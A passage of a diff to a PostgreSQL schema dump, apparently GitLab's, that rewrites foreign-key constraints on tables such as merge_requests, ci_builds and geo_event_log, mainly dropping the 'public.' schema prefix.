- ADD CONSTRAINT fk_a23be95014 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployments
+ ADD CONSTRAINT fk_b9a3851b82 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users
- ADD CONSTRAINT fk_a4b8fefe3e FOREIGN KEY (managing_group_id) REFERENCES public.namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY gitlab_subscriptions
+ ADD CONSTRAINT fk_bd0c4019c3 FOREIGN KEY (hosted_plan_id) REFERENCES plans(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_a6963e8447 FOREIGN KEY (target_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY metrics_users_starred_dashboards
+ ADD CONSTRAINT fk_bd6ae32fac FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_aa5798e761 FOREIGN KEY (closed_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY snippets
+ ADD CONSTRAINT fk_be41fd4bb7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alerts
- ADD CONSTRAINT fk_aad61aedca FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_sources_pipelines
+ ADD CONSTRAINT fk_be5624bf37 FOREIGN KEY (source_job_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.identities
- ADD CONSTRAINT fk_aade90f0fc FOREIGN KEY (saml_provider_id) REFERENCES public.saml_providers(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_maven_metadata
+ ADD CONSTRAINT fk_be88aed360 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_sources_pipelines
- ADD CONSTRAINT fk_acd9737679 FOREIGN KEY (source_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_befce0568a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_ad525e1f87 FOREIGN KEY (merge_user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY design_management_versions
+ ADD CONSTRAINT fk_c1440b4896 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_variables
- ADD CONSTRAINT fk_ada5eb64b3 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_packages
+ ADD CONSTRAINT fk_c188f0dba4 FOREIGN KEY (creator_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_request_metrics
- ADD CONSTRAINT fk_ae440388cc FOREIGN KEY (latest_closed_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_c1f241c70d FOREIGN KEY (upload_deleted_event_id) REFERENCES geo_upload_deleted_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages
- ADD CONSTRAINT fk_analytics_cycle_analytics_group_stages_group_value_stream_id FOREIGN KEY (group_value_stream_id) REFERENCES public.analytics_cycle_analytics_group_value_streams(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_exports
+ ADD CONSTRAINT fk_c3d3cb5d0f FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.fork_network_members
- ADD CONSTRAINT fk_b01280dae4 FOREIGN KEY (forked_from_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_c4b1c1f66e FOREIGN KEY (repository_deleted_event_id) REFERENCES geo_repository_deleted_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_b1de915a15 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_c63cbf6c25 FOREIGN KEY (closed_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.project_access_tokens
- ADD CONSTRAINT fk_b27801bfbf FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_links
+ ADD CONSTRAINT fk_c900194ff2 FOREIGN KEY (source_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_tag_create_access_levels
- ADD CONSTRAINT fk_b4eb82fe3c FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY todos
+ ADD CONSTRAINT fk_ccf0373936 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_assignees
- ADD CONSTRAINT fk_b7d881734a FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_cff7185ad2 FOREIGN KEY (reset_checksum_event_id) REFERENCES geo_reset_checksum_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_trigger_requests
- ADD CONSTRAINT fk_b8ec8b7245 FOREIGN KEY (trigger_id) REFERENCES public.ci_triggers(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_mirror_data
+ ADD CONSTRAINT fk_d1aad367d7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployments
- ADD CONSTRAINT fk_b9a3851b82 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY environments
+ ADD CONSTRAINT fk_d1c8c1da6a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.gitlab_subscriptions
- ADD CONSTRAINT fk_bd0c4019c3 FOREIGN KEY (hosted_plan_id) REFERENCES public.plans(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.metrics_users_starred_dashboards
- ADD CONSTRAINT fk_bd6ae32fac FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_pipelines
+ ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.snippets
- ADD CONSTRAINT fk_be41fd4bb7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_d5af95fcd9 FOREIGN KEY (lfs_object_deleted_event_id) REFERENCES geo_lfs_object_deleted_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_sources_pipelines
- ADD CONSTRAINT fk_be5624bf37 FOREIGN KEY (source_job_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lists
+ ADD CONSTRAINT fk_d6cf4279f7 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_maven_metadata
- ADD CONSTRAINT fk_be88aed360 FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY metrics_users_starred_dashboards
+ ADD CONSTRAINT fk_d76a2b9a8c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_befce0568a FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_d80e161c54 FOREIGN KEY (ci_ref_id) REFERENCES ci_refs(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.design_management_versions
- ADD CONSTRAINT fk_c1440b4896 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY system_note_metadata
+ ADD CONSTRAINT fk_d83a918cb1 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_c1f241c70d FOREIGN KEY (upload_deleted_event_id) REFERENCES public.geo_upload_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY todos
+ ADD CONSTRAINT fk_d94154aa95 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_exports
- ADD CONSTRAINT fk_c3d3cb5d0f FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY label_links
+ ADD CONSTRAINT fk_d97dd08678 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_c4b1c1f66e FOREIGN KEY (repository_deleted_event_id) REFERENCES public.geo_repository_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_group_links
+ ADD CONSTRAINT fk_daa8cee94c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_c63cbf6c25 FOREIGN KEY (closed_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_dccd3f98fc FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.issue_links
- ADD CONSTRAINT fk_c900194ff2 FOREIGN KEY (source_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_df75a7c8b8 FOREIGN KEY (promoted_to_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.todos
- ADD CONSTRAINT fk_ccf0373936 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_resources
+ ADD CONSTRAINT fk_e169a8e3d5 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_cff7185ad2 FOREIGN KEY (reset_checksum_event_id) REFERENCES public.geo_reset_checksum_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_pipelines
+ ADD CONSTRAINT fk_e1bad85861 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_mirror_data
- ADD CONSTRAINT fk_d1aad367d7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gitlab_subscriptions
+ ADD CONSTRAINT fk_e2595d00a1 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.environments
- ADD CONSTRAINT fk_d1c8c1da6a FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_triggers
+ ADD CONSTRAINT fk_e3e63f966e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_e719a85f8a FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_sources_pipelines
- ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_links
+ ADD CONSTRAINT fk_e71bb44f1f FOREIGN KEY (target_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_d5af95fcd9 FOREIGN KEY (lfs_object_deleted_event_id) REFERENCES public.geo_lfs_object_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespaces
+ ADD CONSTRAINT fk_e7a0b20a6b FOREIGN KEY (custom_project_templates_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.lists
- ADD CONSTRAINT fk_d6cf4279f7 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY fork_networks
+ ADD CONSTRAINT fk_e7b436b2b5 FOREIGN KEY (root_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.metrics_users_starred_dashboards
- ADD CONSTRAINT fk_d76a2b9a8c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY sprints
+ ADD CONSTRAINT fk_e8206c9686 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines
- ADD CONSTRAINT fk_d80e161c54 FOREIGN KEY (ci_ref_id) REFERENCES public.ci_refs(id) ON DELETE SET NULL;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_e8a145f3a7 FOREIGN KEY (instance_administrators_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.system_note_metadata
- ADD CONSTRAINT fk_d83a918cb1 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_triggers
+ ADD CONSTRAINT fk_e8e10d1964 FOREIGN KEY (owner_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.todos
- ADD CONSTRAINT fk_d94154aa95 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY services
+ ADD CONSTRAINT fk_e8fe908a34 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.label_links
- ADD CONSTRAINT fk_d97dd08678 FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY pages_domains
+ ADD CONSTRAINT fk_ea2f6dfc6f FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_group_links
- ADD CONSTRAINT fk_daa8cee94c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_ec757bd087 FOREIGN KEY (file_template_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_dccd3f98fc FOREIGN KEY (assignee_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY events
+ ADD CONSTRAINT fk_edfd187b6f FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_df75a7c8b8 FOREIGN KEY (promoted_to_epic_id) REFERENCES public.epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_efb96ab1e2 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_resources
- ADD CONSTRAINT fk_e169a8e3d5 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE SET NULL;
+ALTER TABLE ONLY emails
+ ADD CONSTRAINT fk_emails_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_sources_pipelines
- ADD CONSTRAINT fk_e1bad85861 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters
+ ADD CONSTRAINT fk_f05c5e5a42 FOREIGN KEY (management_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.gitlab_subscriptions
- ADD CONSTRAINT fk_e2595d00a1 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_f081aa4489 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_triggers
- ADD CONSTRAINT fk_e3e63f966e FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards
+ ADD CONSTRAINT fk_f15266b5f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_e719a85f8a FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_pipeline_variables
+ ADD CONSTRAINT fk_f29c5f4380 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_links
- ADD CONSTRAINT fk_e71bb44f1f FOREIGN KEY (target_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_management_designs_versions
+ ADD CONSTRAINT fk_f4d25ba00c FOREIGN KEY (version_id) REFERENCES design_management_versions(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespaces
- ADD CONSTRAINT fk_e7a0b20a6b FOREIGN KEY (custom_project_templates_group_id) REFERENCES public.namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY protected_tag_create_access_levels
+ ADD CONSTRAINT fk_f7dfda8c51 FOREIGN KEY (protected_tag_id) REFERENCES protected_tags(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.fork_networks
- ADD CONSTRAINT fk_e7b436b2b5 FOREIGN KEY (root_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_stages
+ ADD CONSTRAINT fk_fb57e6cc56 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.sprints
- ADD CONSTRAINT fk_e8206c9686 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY system_note_metadata
+ ADD CONSTRAINT fk_fbd87415c9 FOREIGN KEY (description_version_id) REFERENCES description_versions(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_e8a145f3a7 FOREIGN KEY (instance_administrators_group_id) REFERENCES public.namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_fd82eae0b9 FOREIGN KEY (head_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_triggers
- ADD CONSTRAINT fk_e8e10d1964 FOREIGN KEY (owner_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_import_data
+ ADD CONSTRAINT fk_ffb9ee3a10 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.services
- ADD CONSTRAINT fk_e8fe908a34 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_ffed080f01 FOREIGN KEY (updated_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.pages_domains
- ADD CONSTRAINT fk_ea2f6dfc6f FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_geo_event_log_on_geo_event_id FOREIGN KEY (geo_event_id) REFERENCES geo_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_ec757bd087 FOREIGN KEY (file_template_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY path_locks
+ ADD CONSTRAINT fk_path_locks_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.events
- ADD CONSTRAINT fk_edfd187b6f FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY personal_access_tokens
+ ADD CONSTRAINT fk_personal_access_tokens_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_efb96ab1e2 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_settings
+ ADD CONSTRAINT fk_project_settings_push_rule_id FOREIGN KEY (push_rule_id) REFERENCES push_rules(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.clusters
- ADD CONSTRAINT fk_f05c5e5a42 FOREIGN KEY (management_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY projects
+ ADD CONSTRAINT fk_projects_namespace_id FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_f081aa4489 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_merge_access_levels
+ ADD CONSTRAINT fk_protected_branch_merge_access_levels_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.boards
- ADD CONSTRAINT fk_f15266b5f9 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_push_access_levels
+ ADD CONSTRAINT fk_protected_branch_push_access_levels_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_variables
- ADD CONSTRAINT fk_f29c5f4380 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_tag_create_access_levels
+ ADD CONSTRAINT fk_protected_tag_create_access_levels_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_management_designs_versions
- ADD CONSTRAINT fk_f4d25ba00c FOREIGN KEY (version_id) REFERENCES public.design_management_versions(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules
+ ADD CONSTRAINT fk_rails_004ce82224 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_tag_create_access_levels
- ADD CONSTRAINT fk_f7dfda8c51 FOREIGN KEY (protected_tag_id) REFERENCES public.protected_tags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespace_statistics
+ ADD CONSTRAINT fk_rails_0062050394 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_stages
- ADD CONSTRAINT fk_fb57e6cc56 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_elastic_stacks
+ ADD CONSTRAINT fk_rails_026f219f46 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.system_note_metadata
- ADD CONSTRAINT fk_fbd87415c9 FOREIGN KEY (description_version_id) REFERENCES public.description_versions(id) ON DELETE SET NULL;
+ALTER TABLE ONLY events
+ ADD CONSTRAINT fk_rails_0434b48643 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_fd82eae0b9 FOREIGN KEY (head_pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ip_restrictions
+ ADD CONSTRAINT fk_rails_04a93778d5 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_import_data
- ADD CONSTRAINT fk_ffb9ee3a10 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY terraform_state_versions
+ ADD CONSTRAINT fk_rails_04f176e239 FOREIGN KEY (terraform_state_id) REFERENCES terraform_states(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_ffed080f01 FOREIGN KEY (updated_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_build_report_results
+ ADD CONSTRAINT fk_rails_056d298d48 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_geo_event_log_on_geo_event_id FOREIGN KEY (geo_event_id) REFERENCES public.geo_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_daily_build_group_report_results
+ ADD CONSTRAINT fk_rails_0667f7608c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.path_locks
- ADD CONSTRAINT fk_path_locks_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_subscriptions_projects
+ ADD CONSTRAINT fk_rails_0818751483 FOREIGN KEY (downstream_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.personal_access_tokens
- ADD CONSTRAINT fk_personal_access_tokens_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY trending_projects
+ ADD CONSTRAINT fk_rails_09feecd872 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_settings
- ADD CONSTRAINT fk_project_settings_push_rule_id FOREIGN KEY (push_rule_id) REFERENCES public.push_rules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY project_deploy_tokens
+ ADD CONSTRAINT fk_rails_0aca134388 FOREIGN KEY (deploy_token_id) REFERENCES deploy_tokens(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.projects
- ADD CONSTRAINT fk_projects_namespace_id FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY packages_conan_file_metadata
+ ADD CONSTRAINT fk_rails_0afabd9328 FOREIGN KEY (package_file_id) REFERENCES packages_package_files(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_merge_access_levels
- ADD CONSTRAINT fk_protected_branch_merge_access_levels_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_pending_states
+ ADD CONSTRAINT fk_rails_0bbbfeaf9d FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_push_access_levels
- ADD CONSTRAINT fk_protected_branch_push_access_levels_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_user_lists
+ ADD CONSTRAINT fk_rails_0c716e079b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_tag_create_access_levels
- ADD CONSTRAINT fk_protected_tag_create_access_levels_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_node_statuses
+ ADD CONSTRAINT fk_rails_0ecc699c2a FOREIGN KEY (geo_node_id) REFERENCES geo_nodes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules
- ADD CONSTRAINT fk_rails_004ce82224 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_repository_states
+ ADD CONSTRAINT fk_rails_0f2298ca8a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespace_statistics
- ADD CONSTRAINT fk_rails_0062050394 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_synced_attributes_metadata
+ ADD CONSTRAINT fk_rails_0f4aa0981f FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_elastic_stacks
- ADD CONSTRAINT fk_rails_026f219f46 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_authorizations
+ ADD CONSTRAINT fk_rails_0f84bb11f3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.events
- ADD CONSTRAINT fk_rails_0434b48643 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_context_commits
+ ADD CONSTRAINT fk_rails_0fe0039f60 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ip_restrictions
- ADD CONSTRAINT fk_rails_04a93778d5 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_trace_chunks
